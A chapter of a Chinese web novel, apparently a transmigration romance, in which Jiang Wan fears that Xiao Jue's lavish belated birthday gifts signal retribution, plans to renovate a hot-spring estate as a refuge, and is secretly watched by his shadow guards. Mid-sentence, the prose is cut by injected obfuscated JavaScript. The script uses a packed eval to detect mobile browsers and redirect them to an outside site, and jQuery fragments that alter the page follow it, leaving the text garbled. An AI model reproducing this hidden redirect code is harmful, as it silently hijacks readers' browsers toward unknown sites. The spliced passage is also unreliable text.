一路紧赶慢赶,姜妧终于带着灵犀和祁风赶回了自己的院子。


    然而,一踏进花厅,预想中萧绝那张冷峻的脸并未出现,只见一位身着王府管事服制面容和善的老嬷嬷,带着几个捧着红绸覆盖托盘的丫鬟。


    见姜妧进来,那嬷嬷立刻露出得体的笑容,上前一步,姿态恭敬却不卑不亢地行了一礼:“老奴赵氏,给姜大姑娘请安。老奴是定远王府的管事嬷嬷,也是殿下的奶娘,府里都叫我赵嬷嬷。”


    姜妧压下心头的惊疑,连忙回礼:“赵嬷嬷好,请坐。”


    她目光扫过那几个托盘,心中疑惑。


    赵嬷嬷并未坐下,而是含笑站着,目光不经意间扫过姜妧手中紧握的书册。


    姜妧一惊,想起什么,赶紧将手背在身后。


    赵嬷嬷在宫中也是浸淫多年,什么没见过,心中了然,面上却丝毫不显,只当没看见,笑容依旧温和:“姑娘不必多礼。老奴今日是奉殿下之命前来,特地将殿下这些年来欠下姑娘的生辰礼,补送给姑娘。”


    说着,她朝身后的丫鬟们示意了一下。


    丫鬟们立刻上前一步,动作轻柔地揭开了托盘上的红绸。


    刹那间,珠光宝气精巧雅致的气息扑面而来!


    只见七个托盘中,依次摆放着七件截然不同,却都价值不菲且别具匠心的物件。


    第一个托盘放着的是一对通体莹润、毫无杂质的羊脂白玉镯;


    第二个托盘放着的是一整套点翠镶红宝的头面;


    第三个托盘放着的是一柄镶嵌着各色宝石的精致匕首,鞘身刻着繁复的缠枝花纹;


    第四个托盘放着的是一匣子流光溢彩的南海珍珠,颗颗圆润饱满;


    ……


    每一件都看得出是精品。


    姜妧彻底懵了!


    这是什么操作?


    还欠了七年的……生辰礼?


    姜妧的大脑在短暂的空白后,开始飞速运转。


    按照剧情,男主肯定不可能喜欢上自己这个草包娃娃亲,再加上昨日茶楼里她那番出格的言论……


    剧本里,萧绝去了边疆七年,“姜妧”每年都会在萧绝生辰送去生辰礼。


    莫非……


    萧绝的意思是,他送来了这些东西之后,从此二人两不相欠?


    姜妧只觉得一股寒气从脚底板直冲头顶!


    她之前的担忧果然没错!她说的话萧绝不仅听到了,还听进去了!


    并且用最直接、最无情的方式做出了回应!


    两不相欠之后呢?


    是不是就意味着,他可以毫无心理负担地对她下手了?


    姜妧越想心越沉,脸色控制不住地微微发白,只觉得眼前这些璀璨夺目的礼物,每一件都像是一道冰冷的催命符!


    赵嬷嬷见姜妧盯着托盘,脸色变幻不定,久久不语,便轻声提醒道:“姜姑娘?”


    姜妧猛地回神,意识到自己失态了。


    她赶紧强压下心头的惊涛骇浪,挤出一个无比僵硬的笑容,对着赵嬷嬷福了福身:“有劳嬷嬷亲自跑一趟。还请嬷嬷代臣女多谢殿下厚爱。”


    最后几个字,她说得几乎是从牙缝里挤出来的。


    赵嬷嬷看着姜妧的反应,心中却有些纳罕。


    她原本听闻这位姜大姑娘骄纵跋扈,对殿下痴缠得紧,今日一见,却觉得传言失实。


    眼前这姑娘容貌昳丽,举止有度,虽然乍见厚礼有些失措,但并无半分骄矜之色,反而有些拘谨?


    尤其是那强颜欢笑的样子,倒像是……被吓着了?


    赵嬷嬷心中对姜妧的观感不由得好了几分。


    殿下能亲自吩咐她来办这事,还特意叮嘱挑选些合姑娘心意的物件,本身就说明殿下是上了心的。


    殿下看上的人,怎么会差呢?


    她脸上的笑容更真诚了些,温声道:“姑娘不必客气,更不必惶恐。这些都是殿下的一片心意,姑娘安心收下便是。姑娘的好日子啊,还在后头呢!”


    赵嬷嬷这话本是真心实意的祝福,然而听在姜妧的耳中,却完全变了味!


    好日子还在后头?


    来了来了!赤裸裸的警告!


    这是在暗示她,萧绝给她安排的“好日子”就要开始了?


    姜妧只觉得后脖颈凉飕飕的,脸上的笑容更加勉强,几乎要挂不住,只能僵硬地点头:“是,多谢嬷嬷吉言。”


    赵嬷嬷完成了差事,又见姜妧似乎有些“害羞”,便想着大约是小姑娘脸皮薄,准备告退。


    刚转身走了两步,她忽然想起一事,又停住脚步,回过头,带着几分善意的提醒道:“对了,姑娘。老奴多嘴一句,明日长公主府上的春日宴,长公主殿下素来不喜红色,尤厌正红。姑娘若是赴宴,衣着上……不妨避开些。”


    姜妧一愣,想起昨日在瑶光阁里,林锦书奋力游说她的红宝石头面。


    原来这里也等着她呢?


    不过她的剧本里倒是没有像长公主不喜欢红色这样的细枝末节,这份提醒,无论为谁,对她而言都是有用的。


    姜妧心中涌起一丝真实的感激,再次郑重道谢:“多谢嬷嬷提点!”


    赵嬷嬷见她听进去了,欣慰地点点头:“姑娘客气了。老奴告退。”这才带着丫鬟们,如来时一般,安静有序地离开了。


    看着王府一行人消失在院门外,姜妧紧绷的肩膀瞬间垮了下来,长长吁出一口气,只觉得浑身脱力。


    她转身看着花厅里那七个在阳光下闪耀着刺眼光芒的托盘,只觉得它们不再是礼物,而是一道道催命符,无声地宣告着萧绝清算的开始和“好日子”的预告。


    “姑娘……”灵犀担忧地看着她苍白的脸色。


    姜妧摆摆手,声音带着一丝疲惫和认命:“把这些都收进库房最里面锁好。”


    灵犀:“……是,姑娘。”


    姜妧烦躁地揉了揉额角,决定暂时将萧绝这尊大佛带来的阴霾抛诸脑后。


    她刚回房,还没来得及坐下喘口气,玲珑便进来禀报:“姑娘,京郊庄子的管事嬷嬷来了,说是奉夫人之命,先将庄子的图纸送来给您过目。”


    “哦?快请进来。”姜妧精神一振,这倒是意外之喜,效率挺高。


    管事嬷嬷是个面相敦厚、手脚麻利的中年妇人,恭敬地将一卷颇有些年头的牛皮图纸呈上:“大小姐,这便是咱那处庄子堪舆图。庄子依山而建,引了活水,景致是极好的,就是各处房舍都有些年头了,需要好好拾掇拾掇。”


    姜妧展开图纸,一股淡淡的尘土气和墨香扑面而来。图纸绘制得很详尽,山水格局、房舍分布、田地范围都标注清晰。


    她仔细看去,确实如宋氏所言,地方选得极好,主院、客院、下人房、仓房、马厩一应俱全,布局也算合理。


    最重要的是,图纸上清晰地标注了后山那眼温泉的位置,还画了个小小的池子形状,旁边写着“汤泉”二字。


    没想到是温泉养老,看起来似乎还不错!


    姜妧心中那点被萧绝搅起的阴霾,在看到这实实在在的退路时,稍稍驱散了一些。


    她伏在宽大的书案上,拿起朱笔,开始在图纸上圈圈画画。


    “主院屋顶肯定要翻新,瓦片都要换新的,不然下雨天要漏水……”


    “这院墙太矮了,得加高,最好再种点带刺的藤蔓,荒郊野外的,安保得配上……”


    “下人房离主院有点远?不行,得改近些,方便使唤……”


    “温泉池子得重新修葺,弄大一点,挂点稠幔,若隐若现,最好能隔成内外池……”


    “对了,她还要再院子里的树下搭个架子,荡秋千!”


    她一边标注,一边在心里乐开了花,宋氏说得对,这庄子底子确实不错,虽然是乡下,但环境清幽,有山有水有温泉,简直就是理想的避难圣地!


    趁着现在她还是太傅府的大姑娘,手里有钱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416009|182403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,背后有权,赶紧把这块“归宿”之地修缮妥当,打造成世外桃源!


    等哪天真的摆脱不了剧情操控,被退婚被家族放弃,至少她还有个舒舒服服的窝可以待。


    打定主意,姜妧决定过两天亲自去庄子里实地考察一番,再根据具体情况制定详细的修缮方案。


    图纸上被她画满了红圈和批注,充满了希望的气息。


    屋外,月色清冷。


    祁风抱着他那柄从不离身的剑,姿态看似闲散地坐在清芷院的屋顶上,嘴里叼着一根随手拔来的草茎,有一搭没一搭地嚼着。


    他的目光没有聚焦在皎洁的月亮上,而是如同鹰隼般,锐利地扫视着院子周围每一个可能藏匿的角落。


    树影、墙头、相邻的屋脊。


    这已经不是他第一次有这种感觉了。


    一种被窥视的感觉。


    很淡,很飘忽,却如影随形,仿佛暗处总眼睛在默默注视着这个院子,尤其是……注视着姑娘的屋子。


    他集中精神去探查,却又捕捉不到任何确切的气息或踪迹。


    对方像是隐匿的功夫极高,如同融入了夜色本身。


    是自己从前学艺不精,所以感知不到高手的气息?


    还是因为从前的经历,变得疑神疑鬼了?


    祁风皱紧了眉头,将嘴里的草茎吐掉。


    想不通,就不想了。


    他只知道一件事,他得寸步不离地守着姑娘。


    这是他活过来之后唯一清晰的念头,也是支撑他如今活着的意义。


    至于从前他是谁,做过什么……他隐隐有种预感,那段被遗忘的记忆里,自己恐怕并非什么良善之辈。


    就在祁风身后不远处的阴影里,两道几乎与夜色融为一体的黑影,如同鬼魅般悄无声息地蛰伏着。


    其中一人对着同伴做了个极轻微的手势。两道黑影瞬间后撤,没有带起一丝风声,如同水渗入沙地般,彻底消失在了茫茫黑夜里,仿佛从未出现过。


    定远王府,书房。


    烛火跳跃,映照着萧绝轮廓分明的侧脸。他正执笔批阅着军务文书,神情专注而冷峻。


    夜无痕和夜无息二人如同影子般出现在书房中央,单膝跪地:“殿下。”


    “说。”萧绝头也未抬,笔尖在纸上划过流畅的墨痕。


    夜无痕沉声道:“这两日温小公子没来找姜大姑娘,姜大姑娘似乎有在忙的事,好像是想修缮什么庄子。”


    萧绝手中的笔几不可察地顿了一下,但依旧没有抬头,只是淡淡“嗯”了一声,仿佛不甚在意。


    然而,下一句状似随意的问话却暴露了他的关注点:“她……看到礼物时,神情如何?”


    夜无痕和夜无息对视一眼,迅速回忆。


    因为祁风的存在,他们不敢靠得太近,当时正隐在暗处,只看到姜妧脸色变幻,然后很快吩咐丫鬟将东西收进了库房,锁了起来。


    但全京城谁不知道姜大姑娘对自家殿下的心意,殿下一次送了这么多东西来,姜大姑娘自然欢喜。


    于是,夜无痕斟酌着回道:“回主子,姜大姑娘甚是珍爱。立刻吩咐丫鬟将东西收入了库房,好生保管。”


    果然,萧绝闻言,冷峻的唇角几不可察地向上弯了一下,连带着眉宇间那常年凝聚的冰霜似乎都融化了一丝。


    他放下朱笔,身体向后靠进宽大的椅背,指尖在光滑的红木扶手上轻轻敲击着。


    好生保管?


    看来赵嬷嬷说得没错,小姑娘是害羞了。也是,七年未曾回应,突然收到这样一份厚礼,难免不知所措。


    哄小姑娘开心,好像也不费什么事情。


    他放下笔,身体微微后靠,手指无意识地在光滑的紫檀木桌面上轻轻敲击了一下,眼底掠过一丝自己都未曾察觉的柔和,语气也轻松了几分:“嗯。知道了。下去吧。”


    “是!”夜无痕夜无息领命,身影一晃,再次融入黑暗。